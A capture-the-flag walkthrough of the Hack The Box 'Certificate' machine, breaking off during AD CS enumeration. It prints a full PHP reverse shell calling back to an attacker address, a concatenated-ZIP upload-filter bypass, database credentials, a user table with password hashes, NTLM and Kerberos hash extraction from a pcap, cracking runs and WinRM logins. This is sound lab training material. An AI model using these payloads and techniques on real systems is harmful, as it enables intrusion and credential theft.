HTB Writeup: Certificate
HTB Certificate: upload filter bypass via concatenated zips → PHP reverse shell → Pcap Analysis → AD CS ESC3 to Administrator.
A quick walkthrough of HTB Certificate Windows Hard Box.
TL;DR
- Foothold: Assignment upload → concatenated ZIP bypass to smuggle shell.php past content scanning → PHP rev-shell.
- Creds: App db.php → MySQL dump → user list → wordlist crack (Sara.B).
- Pivot: PCAP shows Kerberos AS-REQ → hashcat cracks Lion.SK.
- User: Evil-WinRM as Lion.SK → user.txt.
- Priv-Esc path: AD CS ESC3 (Enrollment Agent template) → on-behalf-of Ryan.K → get NT hash → export CA PFX → forge Administrator cert → admin hash → root.txt.
Initial enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Certificate]
└─$ sudo nmap -Pn -n -sV -sC -oA certificate -A 10.129.155.14 -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-01 10:08 CEST
Nmap scan report for 10.129.155.14
Host is up (0.026s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.0.30)
|_http-title: Did not follow redirect to http://certificate.htb/
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-10-01 16:11:02Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-10-01T16:12:36+00:00; +8h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2025-10-01T15:57:10
|_Not valid after: 2026-10-01T15:57:10
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2025-10-01T15:57:10
|_Not valid after: 2026-10-01T15:57:10
|_ssl-date: 2025-10-01T16:12:36+00:00; +8h00m00s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-10-01T16:12:36+00:00; +8h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2025-10-01T15:57:10
|_Not valid after: 2026-10-01T15:57:10
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2025-10-01T15:57:10
|_Not valid after: 2026-10-01T15:57:10
|_ssl-date: 2025-10-01T16:12:36+00:00; +8h00m00s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49691/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49692/tcp open msrpc Microsoft Windows RPC
49699/tcp open msrpc Microsoft Windows RPC
49704/tcp open msrpc Microsoft Windows RPC
62579/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1903 - 21H1 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Hosts: certificate.htb, DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-10-01T16:11:59
|_ start_date: N/A
|_clock-skew: mean: 7h59m59s, deviation: 0s, median: 7h59m59s
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 26.42 ms 10.10.14.1
2 32.34 ms 10.129.155.14
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 263.48 seconds
Foothold
We discover a webapp about courses and learning.
We can also register an account and login.
Once registered, we quickly spotted an upload function about submitting our assignment.
After some testing with Burp, we can conclude :
- Allowed file extensions : .pdf, zip, docx, xlsx
- Content is scanned, cannot include some strings (like ‘system’ for example)
- If zip, it’s unzipped and then content is scanned as before.
- No way found to bypass extension check.
- Upload destination is displayed in the app after successful upload and file can be viewed / downloaded.
The point about zip is interesting because if the zip version is vulnerable, we can embed our malware into a second zip which will not be scanned.
Zip concatenation
The upload accepts pdf, zip, docx, xlsx, scans extracted content for bad strings, and shows the upload path afterward. Zipping two archives and concatenating them lets some pipelines scan only the first archive’s central directory—which leaves a second file tree unscanned.
Proof of Concept
We first prepared a simple minimal PoC displaying a phpinfo()
1
2
3
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Certificate]
└─$ cat shell.php
<?php echo "TEST-PHP"; phpinfo(); ?>
Then we prepared a dummy pdf (evil.pdf) in the same folder. This pdf can be any legit pdf file. Then we zipped each and concatenated into a single final zip file.
1
2
3
4
5
6
7
8
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Certificate]
└─$ zip evil.zip evil.pdf
adding: evil.pdf (stored 0%)
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Certificate]
└─$ zip shell.zip shell.php
adding: shell.php (stored 0%)
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Certificate]
└─$ cat evil.zip shell.zip > final.zip
Note: Most unzip libraries rely on the End-of-Central-Directory (EOCD) at the end of the file, so they’ll normally only see the last archive (shell.zip). Others (7-Zip and some validators) scan for local file headers throughout and will extract both.
As we know the location of the uploaded file, we should find evil.pdf but also shell.php at the exact same location.
We called shell.php :
Awesome ! The php file wasn’t scanned !
So let’s now do the same with a reverse shell.
We simply used one of the available php revshells on :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
<?php
// Copyright (c) 2020 Ivan Sincek
// v2.3
// Requires PHP v5.0.0 or greater.
// Works on Linux OS, macOS, and Windows OS.
// See the original script at https://github.com/pentestmonkey/php-reverse-shell.
class Shell {
private $addr = null;
private $port = null;
private $os = null;
private $shell = null;
private $descriptorspec = array(
0 => array('pipe', 'r'), // shell can read from STDIN
1 => array('pipe', 'w'), // shell can write to STDOUT
2 => array('pipe', 'w') // shell can write to STDERR
);
private $buffer = 1024; // read/write buffer size
private $clen = 0; // command length
private $error = false; // stream read/write error
public function __construct($addr, $port) {
$this->addr = $addr;
$this->port = $port;
}
private function detect() {
$detected = true;
if (stripos(PHP_OS, 'LINUX') !== false) { // same for macOS
$this->os = 'LINUX';
$this->shell = '/bin/bash';
} else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false) {
$this->os = 'WINDOWS';
$this->shell = 'cmd.exe';
} else {
$detected = false;
echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";
}
return $detected;
}
private function daemonize() {
$exit = false;
if (!function_exists('pcntl_fork')) {
echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";
} else if (($pid = @pcntl_fork()) < 0) {
echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";
} else if ($pid > 0) {
$exit = true;
echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";
} else if (posix_setsid() < 0) {
// once daemonized you will actually no longer see the script's dump
echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";
} else {
echo "DAEMONIZE: Completed successfully!\n";
}
return $exit;
}
private function settings() {
@error_reporting(0);
@set_time_limit(0); // do not impose the script execution time limit
@umask(0); // set the file/directory permissions - 666 for files and 777 for directories
}
private function dump($data) {
$data = str_replace('<', '<', $data);
$data = str_replace('>', '>', $data);
echo $data;
}
private function read($stream, $name, $buffer) {
if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream
$this->error = true; // set global error flag
echo "STRM_ERROR: Cannot read from ${name}, script will now exit...\n";
}
return $data;
}
private function write($stream, $name, $data) {
if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream
$this->error = true; // set global error flag
echo "STRM_ERROR: Cannot write to ${name}, script will now exit...\n";
}
return $bytes;
}
// read/write method for non-blocking streams
private function rw($input, $output, $iname, $oname) {
while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length
$this->dump($data); // script's dump
}
}
// read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)
// we must read the exact byte length from a stream and not a single byte more
private function brw($input, $output, $iname, $oname) {
$fstat = fstat($input);
$size = $fstat['size'];
if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {
// for some reason Windows OS pipes STDIN into STDOUT
// we do not like that
// we need to discard the data from the stream
while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {
$this->clen -= $bytes;
$size -= $bytes;
}
}
while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {
$size -= $bytes;
$this->dump($data); // script's dump
}
}
public function run() {
if ($this->detect() && !$this->daemonize()) {
$this->settings();
// ----- SOCKET BEGIN -----
$socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
if (!$socket) {
echo "SOC_ERROR: {$errno}: {$errstr}\n";
} else {
stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS
// ----- SHELL BEGIN -----
$process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);
if (!$process) {
echo "PROC_ERROR: Cannot start the shell\n";
} else {
foreach ($pipes as $pipe) {
stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS
}
// ----- WORK BEGIN -----
$status = proc_get_status($process);
@fwrite($socket, "SOCKET: Shell has connected! PID: " . $status['pid'] . "\n");
do {
$status = proc_get_status($process);
if (feof($socket)) { // check for end-of-file on SOCKET
echo "SOC_ERROR: Shell connection has been terminated\n"; break;
} else if (feof($pipes[1]) || !$status['running']) { // check for end-of-file on STDOUT or if process is still running
echo "PROC_ERROR: Shell process has been terminated\n"; break; // feof() does not work with blocking streams
} // use proc_get_status() instead
$streams = array(
'read' => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR
'write' => null,
'except' => null
);
$num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OS
if ($num_changed_streams === false) {
echo "STRM_ERROR: stream_select() failed\n"; break;
} else if ($num_changed_streams > 0) {
if ($this->os === 'LINUX') {
if (in_array($socket , $streams['read'])) { $this->rw($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
} else if ($this->os === 'WINDOWS') {
// order is important
if (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
if (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
if (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
}
}
} while (!$this->error);
// ------ WORK END ------
foreach ($pipes as $pipe) {
fclose($pipe);
}
proc_close($process);
}
// ------ SHELL END ------
fclose($socket);
}
// ------ SOCKET END ------
}
}
}
echo '<pre>';
// change the host address and/or port number as necessary
$sh = new Shell('10.10.14.40', 4444);
$sh->run();
unset($sh);
// garbage collector requires PHP v5.3.0 or greater
// @gc_collect_cycles();
echo '</pre>';
?>
We started a nc listener :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(sc4nx㉿attackhost)-[~]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.40] from (UNKNOWN) [10.129.155.14] 60287
SOCKET: Shell has connected! PID: 1196
Microsoft Windows [Version 10.0.17763.6532]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\xampp\htdocs\certificate.htb\static\uploads\6144021521507642c5a799e2bca164e3>
C:\xampp\htdocs\certificate.htb\static\uploads\6144021521507642c5a799e2bca164e3>id
'id' is not recognized as an internal or external command,
operable program or batch file.
C:\xampp\htdocs\certificate.htb\static\uploads\6144021521507642c5a799e2bca164e3>whoami
certificate\xamppuser
C:\xampp\htdocs\certificate.htb\static\uploads\6144021521507642c5a799e2bca164e3>
And boom ! We got a shell !
We quickly found db credentials :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
C:\xampp\htdocs\certificate.htb>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\xampp\htdocs\certificate.htb> cat db.php
<?php
// Database connection using PDO
try {
$dsn = 'mysql:host=localhost;dbname=Certificate_WEBAPP_DB;charset=utf8mb4';
$db_user = 'certificate_webapp_user'; // Change to your DB username
$db_passwd = 'cert!f!c@teDBPWD'; // Change to your DB password
$options = [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
];
$pdo = new PDO($dsn, $db_user, $db_passwd, $options);
} catch (PDOException $e) {
die('Database connection failed: ' . $e->getMessage());
}
?>
We can now search for any credentials in the Mysql DB backend.
MySQL dump
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.\mysql.exe -h localhost -u certificate_webapp_user "-pcert!f!c@teDBPWD" -e "show databases;"
Database
certificate_webapp_db
information_schema
test
.\mysql.exe -h localhost -u certificate_webapp_user "-pcert!f!c@teDBPWD" -D Certificate_WEBAPP_DB -e "show tables;"
Tables_in_certificate_webapp_db
course_sessions
courses
users
users_courses
.\mysql.exe -h localhost -u certificate_webapp_user "-pcert!f!c@teDBPWD" -D Certificate_WEBAPP_DB -e "select * from users;"
id first_name last_name username email password created_at role is_active
1 Lorra Armessa Lorra.AAA lorra.aaa@certificate.htb $2y$04$bZs2FUjVRiFswY84CUR8ve02ymuiy0QD23XOKFuT6IM2sBbgQvEFG 2024-12-23 12:43:10 teacher 1
6 Sara Laracrof Sara1200 sara1200@gmail.com $2y$04$pgTOAkSnYMQoILmL6MRXLOOfFlZUPR4lAD2kvWZj.i/dyvXNSqCkK 2024-12-23 12:47:11 teacher 1
7 John Wood Johney johny009@mail.com $2y$04$VaUEcSd6p5NnpgwnHyh8zey13zo/hL7jfQd9U.PGyEW3yqBf.IxRq 2024-12-23 13:18:18 student 1
8 Havok Watterson havokww havokww@hotmail.com $2y$04$XSXoFSfcMoS5Zp8ojTeUSOj6ENEun6oWM93mvRQgvaBufba5I5nti 2024-12-24 09:08:04 teacher 1
9 Steven Roman stev steven@yahoo.com $2y$04$6FHP.7xTHRGYRI9kRIo7deUHz0LX.vx2ixwv0cOW6TDtRGgOhRFX2 2024-12-24 12:05:05 student 1
10 Sara Brawn sara.b sara.b@certificate.htb $2y$04$CgDe/Thzw/Em/M4SkmXNbu0YdFo6uUs3nB.pzQPV.g8UdXikZNdH6 2024-12-25 21:31:26 admin 1
12 test test test sddss@dssdsd.com $2y$04$iiTjaiETVlMztWuQ6f.fKuIC/aCP1flaZWwdOildcO6t5x1btSL8y 2025-10-01 18:13:42 student 1
So we took all these hashes and cracked them.
1
2
3
4
5
6
7
8
9
10
11
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Certificate]
└─$ john hash.txt --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 16 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Blink182 (?)
1g 0:00:00:00 DONE (2025-06-01 09:02) 1.818g/s 22254p/s 22254c/s 22254C/s monday1..vallejo
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
And we got Sara.B password !
Sara.B is part of the Remote Management Users Group so we can connect to the server using evil-winrm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Certificate]
└─$ evil-winrm -u sara.b -p 'Blink182' -i 10.129.114.167
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Sara.B\Documents> ls
Directory: C:\Users\Sara.B\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/4/2024 12:53 AM WS-01
*Evil-WinRM* PS C:\Users\Sara.B\Documents> cd ..
*Evil-WinRM* PS C:\Users\Sara.B> ls -Recurse
Directory: C:\Users\Sara.B
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 11/26/2024 4:12 PM 3D Objects
d-r--- 11/26/2024 4:12 PM Contacts
d-r--- 11/26/2024 4:12 PM Desktop
d-r--- 11/26/2024 4:12 PM Documents
d-r--- 11/26/2024 4:12 PM Downloads
d-r--- 11/26/2024 4:12 PM Favorites
d-r--- 11/26/2024 4:12 PM Links
d-r--- 11/26/2024 4:12 PM Music
d-r--- 11/26/2024 4:12 PM Pictures
d-r--- 11/26/2024 4:12 PM Saved Games
d-r--- 11/26/2024 4:12 PM Searches
d-r--- 11/26/2024 4:12 PM Videos
Directory: C:\Users\Sara.B\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/4/2024 12:53 AM WS-01
Directory: C:\Users\Sara.B\Documents\WS-01
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/4/2024 12:44 AM 530 Description.txt
-a---- 11/4/2024 12:45 AM 296660 WS-01_PktMon.pcap
*Evil-WinRM* PS C:\Users\Sara.B>
In the Documents folder, we found a pcap and a txt file :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
*Evil-WinRM* PS C:\Users\Sara.B\Documents\WS-01> ls
Directory: C:\Users\Sara.B\Documents\WS-01
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/4/2024 12:44 AM 530 Description.txt
-a---- 11/4/2024 12:45 AM 296660 WS-01_PktMon.pcap
*Evil-WinRM* PS C:\Users\Sara.B\Documents\WS-01> cd ..
*Evil-WinRM* PS C:\Users\Sara.B\Documents> ls
Directory: C:\Users\Sara.B\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/4/2024 12:53 AM WS-01
*Evil-WinRM* PS C:\Users\Sara.B\Documents> cd WS-01
*Evil-WinRM* PS C:\Users\Sara.B\Documents\WS-01> cat Description.txt
The workstation 01 is not able to open the "Reports" smb shared folder which is hosted on DC01.
When a user tries to input bad credentials, it returns bad credentials error.
But when a user provides valid credentials the file explorer freezes and then crashes!
*Evil-WinRM* PS C:\Users\Sara.B\Documents\WS-01>
Pcap hashes extraction
using # NTLMRawUnhide.py :
https://github.com/mlgualtieri/NTLMRawUnHide
It’s interesting. The note is stating that a test was run with a correct and a bad password.
So we searched for hashes
1
2
3
4
5
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Certificate/NTLMRawUnHide]
└─$ python NTLMRawUnHide.py -i ../WS-01_PktMon.pcap -q
Searching ../WS-01_PktMon.pcap for NTLMv2 hashes...
Administrator::WS-01:0f18018782d74f81:3ff29ba4b51e86ed1065c438b6713f28:01010000000000000588e3da922edb012a49d5aaa4eeea0c00000000020016004300450052005400490046004900430041005400450001000800440043003000310004001e006 30065007200740069006600690063006100740065002e006800740062000300280044004300300031002e00630065007200740069006600690063006100740065002e0068007400620005001e00630065007200740069006600690063006100740065002e00680074006 200070008000588e3da922edb0106000400020000000800300030000000000000000000000000300000dc8f08a3fced11be77c988c86f35837e8ec242f6f5e1d65ec5247e3a87d8fe580a001000000000000000000000000000000000000900120063006900660073002 f0044004300300031000000000000000000
But these hashes are not crackable. However, the pcap is also containing kerberos requests. We looked for ASREQ stuff and get a hit !
https://github.com/jalvarezz13/Krb5RoastParser
1
2
3
4
5
6
7
8
┌──(sc4nx)-[~/Downloads/HTBBoxes/Certificate/Krb5RoastParser]
└─$ python krb5_roast_parser.py
Usage: python roasting.py <pcap_file> <as_req/as_rep/tgs_rep>
┌──(sc4nx)-[~/Downloads/HTBBoxes/Certificate/Krb5RoastParser]
└─$ python krb5_roast_parser.py ../WS-01_PktMon.pcap as_req
$krb5pa$18$Lion.SK$CERTIFICATE.HTB$23f5159fa1c66ed7b0e561543eba6c010cd31f7e4a4377c2925cf306b98ed1e4f3951a50bc083c9bc0f16f0f586181c9d4ceda3fb5e852f0
Crack the hash
This time we were able to crack this hash and get Lion.SK password.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
┌──(sc4nx)-[~/Downloads/HTBBoxes/Certificate]
└─$ hashcat -m 19900 '$krb5pa$18$Lion.SK$CERTIFICATE.HTB$23f5159fa1c66ed7b0e561543eba6c010cd31f7e4a4377c2925cf306b98ed1e4f3951a50bc083c9bc0f16f0f586181c9d4ceda3fb5e852f0' /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v7.1.2) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #01: cpu--0x000, 2941/5882 MB (1024 MB allocatable), 2MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP
Watchdog: Temperature abort trigger set to 90c
Host memory allocated for this attack: 512 MB (1014 MB free)
Dictionary cache hit:
* Filename..: /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384
Cracking performance lower than expected?
* Append -w 3 to the commandline.
This can cause your screen to lag.
* Append -S to the commandline.
This has a drastic speed impact but can be better for specific attacks.
Typical scenarios are a small wordlist but a large ruleset.
* Update your backend API runtime / driver the right way:
https://hashcat.net/faq/wrongdriver
* Create more work items to make use of your parallelization power:
https://hashcat.net/faq/morework
$krb5pa$18$Lion.SK$CERTIFICATE.HTB$23f5159fa1c66ed7b0e561543eba6c010cd31f7e4a4377c2925cf306b98ed1e4f3951a50bc083c9bc0f16f0f586181c9d4ceda3fb5e852f0:!QAZ2wsx
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 19900 (Kerberos 5, etype 18, Pre-Auth)
Hash.Target......: $krb5pa$18$Lion.SK$CERTIFICATE.HTB$23f5159fa1c66ed7...e852f0
Time.Started.....: Thu Oct 2 14:12:10 2025 (11 secs)
Time.Estimated...: Thu Oct 2 14:12:21 2025 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 1277 H/s (12.58ms) @ Accel:64 Loops:512 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 13952/14344384 (0.10%)
Rejected.........: 0/13952 (0.00%)
Restore.Point....: 13824/14344384 (0.10%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:3584-4095
Candidate.Engine.: Device Generator
Candidates.#01...: gerber -> frumusik
Hardware.Mon.#01.: Util: 99%
Started: Thu Oct 2 14:11:59 2025
Stopped: Thu Oct 2 14:12:22 2025
User Flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Certificate]
└─$ evil-winrm -u Lion.SK -p '!QAZ2wsx' -i 10.129.114.167
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Lion.SK\Documents> ls
*Evil-WinRM* PS C:\Users\Lion.SK\Documents> cd ..
*Evil-WinRM* PS C:\Users\Lion.SK> cd Desktop
*Evil-WinRM* PS C:\Users\Lion.SK\Desktop> ls
Directory: C:\Users\Lion.SK\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 10/1/2025 5:40 PM 34 user.txt
*Evil-WinRM* PS C:\Users\Lion.SK\Desktop> cat user.txt
eddf755beba018a11028bc6676160752
*Evil-WinRM* PS C:\Users\Lion.SK\Desktop>
Privilege Escalation
Let’s check in BloodHound. We can see that Lion.SK is part of the “Domain CRA Managers” Group.
So this account can certainly do some stuff with certificates. Let’s check this point.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Certificate]
└─$ certipy-ad find -u Lion.SK -p '!QAZ2wsx' -dc-ip 10.129.114.167 -vulnerable -stdout
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Finding issuance policies
[*] Found 18 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'Certificate-LTD-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'Certificate-LTD-CA'
[*] Checking web enrollment for CA 'Certificate-LTD-CA' @ 'DC01.certificate.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
0
CA Name : Certificate-LTD-CA
DNS Name : DC01.certificate.htb
Certificate Subject : CN=Certificate-LTD-CA, DC=certificate, DC=htb
Certificate Serial Number : 75B2F4BBF31F108945147B466131BDCA
Certificate Validity Start : 2024-11-03 22:55:09+00:00
Certificate Validity End : 2034-11-03 23:05:09+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Permissions
Owner : CERTIFICATE.HTB\Administrators
Access Rights
